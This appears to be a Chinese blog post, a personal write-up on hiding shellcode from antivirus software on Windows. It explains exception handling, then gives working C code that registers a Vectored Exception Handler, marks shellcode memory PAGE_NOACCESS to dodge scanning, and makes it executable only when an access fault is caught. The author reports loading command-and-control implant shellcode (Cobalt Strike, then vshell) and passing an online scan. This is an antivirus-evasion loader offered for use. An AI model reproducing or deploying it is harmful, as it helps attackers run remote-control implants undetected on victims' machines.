当硬件或软件异常发生时,处理器会立即停止执行,并将控制权交给操作系统。系统首先会保存两类关键信息:
上下文记录 (Context Record): 保存在 CONTEXT 结构中,记录了异常发生瞬间线程的完整机器状态(如寄存器值、指令指针等)。如果异常被成功处理,系统就能利用它恢复执行。
异常记录 (Exception Record): 保存在 EXCEPTION_RECORD 结构中,描述了异常本身,包括异常代码(如 0xC0000005 访问冲突)、发生地址、以及相关的参数
这两类信息打包在 EXCEPTION_POINTERS 结构中,传递给各个异常处理程序

(可选)调试器 → VEH → SEH → (可选)VCH → 未处理异常过滤器 → 系统默认处理
如果进程未被调试,则流程从 VEH 开始

Windows异常处理层级(从高到低):

  1. VEH (Vectored Exception Handler) - 最先执行
  2. SEH (Structured Exception Handler) - 基于栈
  3. 系统默认处理

所以我们使用优先级最高,能第一时间捕获异常 VEH

注册VEH异常处理器

1
2
3
4
// 注册VEH处理器,优先级为1(最高)
g_VehHandle = AddVectoredExceptionHandler(1, VehHandler);
#参数 1 优先级
#参数 VehHandler 处理函数

将VehHandler函数地址进行XOR加密
插入到全局VEH链表中
返回句柄用于后续移除

当CPU触发异常:
系统遍历VEH链表
解密每个处理函数地址
依次调用,直到有处理器返回EXCEPTION_CONTINUE_EXECUTION

设置内存为PAGE_NOACCESS

1
2
// 将shellcode内存改为完全无法访问
VirtualProtect(shellcode, size, PAGE_NOACCESS, &oldProtect);

内存保护标志对比:
PAGE_NOACCESS (0x01):
不可读、不可写、不可执行
任何访问都会触发 EXCEPTION_ACCESS_VIOLATION
杀软认为这是无效内存

PAGE_READWRITE (0x04):
可读、可写、不可执行
仍会被扫描

PAGE_EXECUTE_READWRITE (0x40):
可读、可写、可执行(RWX)
会被查杀

杀软的扫描逻辑:检测shellcode特征、检查内存权限

VEH异常处理核心逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
LONG WINAPI VehHandler(PEXCEPTION_POINTERS ExceptionInfo)
{
DWORD exceptionCode = ExceptionInfo->ExceptionRecord->ExceptionCode;

if (exceptionCode != EXCEPTION_ACCESS_VIOLATION) {
return EXCEPTION_CONTINUE_SEARCH;
}

PVOID faultAddr = (PVOID)ExceptionInfo->ExceptionRecord->ExceptionInformation[1];
if (faultAddr >= g_ctx.shellcode_addr &&
faultAddr < (PBYTE)g_ctx.shellcode_addr + g_ctx.shellcode_size) {

DWORD oldProtect = 0;

if (!g_ctx.is_executing) {
VirtualProtect(g_ctx.shellcode_addr, g_ctx.shellcode_size,
PAGE_EXECUTE_READ, &oldProtect);

g_ctx.is_executing = TRUE;
return EXCEPTION_CONTINUE_EXECUTION;
}
}

return EXCEPTION_CONTINUE_SEARCH;
}

后续使用cs的shellcode一直没有成功re师傅给我vshell,后续部署了vshell,生成的shellcode成功了
ac5f704b2fef01943887897b9ec6383d.png后续在 https://www.virscan.org/ 中检查通过153e0411593517eb538a8fad339c7a5b.png
但是一开火绒程序就会被直接杀掉TvT

上一页
2026-10-07 05:46:07